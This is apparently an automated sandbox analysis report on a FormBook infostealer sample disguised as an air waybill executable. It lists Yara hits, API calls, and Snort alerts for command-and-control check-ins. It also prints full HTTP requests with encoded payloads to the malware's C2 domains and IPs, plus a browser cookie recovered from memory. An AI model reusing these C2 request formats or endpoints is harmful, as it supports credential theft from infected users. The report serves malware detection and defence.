Windows Analysis Report
AWB NO. 077-57676135055.exe

Machine Learning detection for sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: AWB NO. 077-57676135055.exe

Joe Sandbox ML: detected

Source: AWB NO. 077-57676135055.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: jFlHFdZgIYNZqR.exe, 00000003.00000000.18449708265.000000000051E000.00000002.00000001.01000000.00000004.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23184750264.000000000051E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: AWB NO. 077-57676135055.exe, 00000000.00000003.18131573643.0000000003FB0000.00000004.00001000.00020000.00000000.sdmp, AWB NO. 077-57676135055.exe, 00000000.00000003.18129996314.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.18533534284.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18369078674.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.18533534284.000000000302D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18362303524.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.000000000343D000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.0000000003310000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18532753430.0000000002FB2000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18540137751.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdbGCTL source: svchost.exe, 00000002.00000003.18500957971.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18501031361.000000000082B000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000003.22066027832.0000000000B9B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: AWB NO. 077-57676135055.exe, 00000000.00000003.18131573643.0000000003FB0000.00000004.00001000.00020000.00000000.sdmp, AWB NO. 077-57676135055.exe, 00000000.00000003.18129996314.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.18533534284.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18369078674.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.18533534284.000000000302D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18362303524.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.000000000343D000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23186772776.0000000003310000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18532753430.0000000002FB2000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18540137751.0000000003163000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdb source: svchost.exe, 00000002.00000003.18500957971.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.18501031361.000000000082B000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000003.00000003.22066027832.0000000000B9B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RpcPing.exe, 00000004.00000002.23187811443.000000000393C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185093416.0000000002DD2000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000000.18680544916.0000000002D7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.19004125183.000000003A15C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RpcPing.exe, 00000004.00000002.23187811443.000000000393C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185093416.0000000002DD2000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000000.18680544916.0000000002D7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.19004125183.000000003A15C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00464696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00464696
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046C93C FindFirstFileW,FindClose,	0_2_0046C93C
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	0_2_0046C9C7
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0046F200
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0046F35D
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046F65E FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_0046F65E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00463A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00463A2B
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00463D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00463D4E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046BF27 FindFirstFileW,FindNextFileW,FindClose,	0_2_0046BF27

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49773 -> 74.208.236.38:80
Source: Traffic	Snort IDS: 2856318 ETPRO TROJAN FormBook CnC Checkin (POST) M4 192.168.11.20:49774 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49774 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49775 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49777 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49778 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49779 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49781 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49782 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49783 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49784 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49785 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49787 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49788 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49790 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49791 -> 66.235.200.145:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49792 -> 66.235.200.145:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49794 -> 66.235.200.145:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49795 -> 103.120.176.124:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49796 -> 103.120.176.124:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49798 -> 103.120.176.124:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49799 -> 203.161.50.127:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49800 -> 203.161.50.127:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49802 -> 203.161.50.127:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49803 -> 172.67.146.224:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49804 -> 172.67.146.224:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49806 -> 172.67.146.224:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49807 -> 44.227.65.245:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49808 -> 44.227.65.245:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49810 -> 44.227.65.245:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49811 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49812 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49814 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49815 -> 84.32.84.192:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49816 -> 84.32.84.192:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49818 -> 84.32.84.192:80
Source: Traffic	Snort IDS: 2856318 ETPRO TROJAN FormBook CnC Checkin (POST) M4 192.168.11.20:49820 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49820 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49821 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49823 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49824 -> 74.208.236.38:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49825 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49826 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49828 -> 142.202.6.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49829 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49830 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49831 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49832 -> 74.208.236.230:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49833 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49834 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.11.20:49835 -> 199.59.243.226:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.11.20:49836 -> 199.59.243.226:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.spotluv.xyz

Source: Joe Sandbox View	IP Address: 66.235.200.145 66.235.200.145
Source: Joe Sandbox View	IP Address: 203.161.50.127 203.161.50.127

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
Source: Joe Sandbox View	ASN Name: NETMAGIC-APNetmagicDatacenterMumbaiIN NETMAGIC-APNetmagicDatacenterMumbaiIN

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_004725E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_004725E2

Source: global traffic	HTTP traffic detected: GET /9m56/?_B7=LxyxWrj8kri0gh&vX=wSNNrhltoDErcnEzxm9/w28Dp1eoX3XTDY+0HSDY/xjQqFM+lgiwoO0LpiVzuA8Bz+prc1fM5Kq2+VzXMkRPAHQ+fn8FfBllirngXHZ4XxgzDhA7JZPwDGY= HTTP/1.1Host: www.costmoon.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /hqcp/?vX=a7ZQHf8WLvhHVBvdkZq5xuKGtafV4VgGgVvybuFCKLHzqS2zk6yuhV6s1hLkbw5zmPfcdtbcw9raqNmLcm/5LDv7+9F7BWl1gWJ1Gl5m9d8a+w3Gr0PmHHU=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.6171nvuhb.rentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /9qp3/?vX=ZVYu4nT3XPb6D5AnzJCZdD7dAyPNRNa3VWXdQVyX2eJo5TfLIuEqAXNcy5gjyltbfDYrkl4fema7mXoYWaQkTP4cU372CGZgosL9vb0GBN03EULPLqCD5DY=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.motorsportgives.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /c7lp/?vX=AZtUjmxX1+ilQa3cAX9z1397/CoXyobuelvuG0qO50IIYxbQIoa2zaoIA52olqXa0ysfLjRam7UGaI/Eozxq/aJIiPqlVVE06lZEm1LC+u5u0D0LnPSZBcs=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.orthonow.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /3c1k/?vX=JBvkiC5/p5M0KduSv9nMAq1L7Ov9kIxy2ulrSw8DAMQ+oYrb/Oqt+Mz9qyL7kOgxOchk71vbEF/036GwyUgS8aFzNiZYrtFOzFZSCs3+FXjpDA1Q93DrzfE=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.musiccitysauce.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /bjbg/?_B7=LxyxWrj8kri0gh&vX=PaEFrgJgmJNh1u/DWUxMIeDskG5qzMhDGrQ71u93fIH85Lzxsg5t1cmIlpAxPUwLJ58UUf9JzsDSaHkwZqJSKveW5uukdz+QiIy0PILQ7uEd2NrIiK6nDiA= HTTP/1.1Host: www.lakemontbellevue.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /n8dl/?vX=FC28+8TNt1EBJ9Rr13Lf8bY2TrPAAO0Ms+TIyItlK84e+VLAwR127cfT6eGfINY83g5c74t6Ntc+Rr+iqurKq/8v/YzcG8LG32bad+3/XATcsm3Xq6o13Rk=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.vintagewins.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /pci0/?_B7=LxyxWrj8kri0gh&vX=eSBSxWzRVUHV/fBDA1gktKapDAjXHwIYGqgWiDMm1TKOgAQN0YKNcvcCpBWCJxpF3POgg0Ef/1qs6yZQX/5+pidIDj1j3gicnpT8MY0pZ20V89EBh37W5PY= HTTP/1.1Host: www.spotluv.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /ieqg/?vX=xOYzP3dXeV68t5l1tdRGSaa1OFHMEwYl9QyrCyFOBp5kwxTuFOJ28A7LPoPnjOnXE6vKLrR6BAa5LOtmMQtvuaXLo91Bunju73veWhfgD7rjWCO2fFDcACU=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.olhadeputat.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /ouk5/?vX=PLWVRijYnvzxBPZV68lDWez5n1m4qNxygDOUEJJl7paGkoFy8irkxF+ePmZFSckDR+ltzcYQPDsLLRino9E0Pe5jqCKxYTXxZRA6KSseMdymxDABailrF38=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.voupeclients.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /fzbg/?vX=uTYyZSOtPBVL0hIsKgpi95HQtVEr7RxE1GtfhiQgzt00yp3pQHZ/yduqmfXPDQ0x8hM1I2y7MNxQRHVIE3PkPDlbAMuSsvV/gP9PT/eZTJpyk9nI4JynE2g=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.fundraiserstuffies.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /12kg/?vX=FNzl8wnE++HPhG206OaKKCmPORssckNSyI+M4a86U0qBkTFFPriGBeWQyCEz+v1Kx2tJcxLpZ/phLMA1BmxsvaSisGFPcKMREi9fCQxgCdocMTbgTC3h6NU=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.paliinfra.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /tq5r/?vX=2ahlOPqFbaLRJ59RJMyuJ7IfIQg9pPTz0C4c2znY6LEO/TCdmpUdsfBsLge4LzAAnPKkz9TLh65OzxMJqcN49ZYZ04DS6e4TLs38paEuEBs4iPeVqFZufcc=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.selllaptop.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /9m56/?_B7=LxyxWrj8kri0gh&vX=wSNNrhltoDErcnEzxm9/w28Dp1eoX3XTDY+0HSDY/xjQqFM+lgiwoO0LpiVzuA8Bz+prc1fM5Kq2+VzXMkRPAHQ+fn8FfBllirngXHZ4XxgzDhA7JZPwDGY= HTTP/1.1Host: www.costmoon.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /hqcp/?vX=a7ZQHf8WLvhHVBvdkZq5xuKGtafV4VgGgVvybuFCKLHzqS2zk6yuhV6s1hLkbw5zmPfcdtbcw9raqNmLcm/5LDv7+9F7BWl1gWJ1Gl5m9d8a+w3Gr0PmHHU=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.6171nvuhb.rentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /9qp3/?vX=ZVYu4nT3XPb6D5AnzJCZdD7dAyPNRNa3VWXdQVyX2eJo5TfLIuEqAXNcy5gjyltbfDYrkl4fema7mXoYWaQkTP4cU372CGZgosL9vb0GBN03EULPLqCD5DY=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.motorsportgives.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Source: global traffic	HTTP traffic detected: GET /c7lp/?vX=AZtUjmxX1+ilQa3cAX9z1397/CoXyobuelvuG0qO50IIYxbQIoa2zaoIA52olqXa0ysfLjRam7UGaI/Eozxq/aJIiPqlVVE06lZEm1LC+u5u0D0LnPSZBcs=&_B7=LxyxWrj8kri0gh HTTP/1.1Host: www.orthonow.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10

Source: RpcPing.exe, 00000004.00000002.23187811443.0000000003722000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000002B62000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.19004125183.0000000039F42000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: .www.linkedin.comTRUE/TRUE13336872580273675bscookie"v=1&202108181112191ce8ca8a-2c8f-4463-8512-6f2d1ae6da93AQFkN2vVMNQ3mpf7d5Ecg6Jz9iVIQMh2" equals www.linkedin.com (Linkedin)
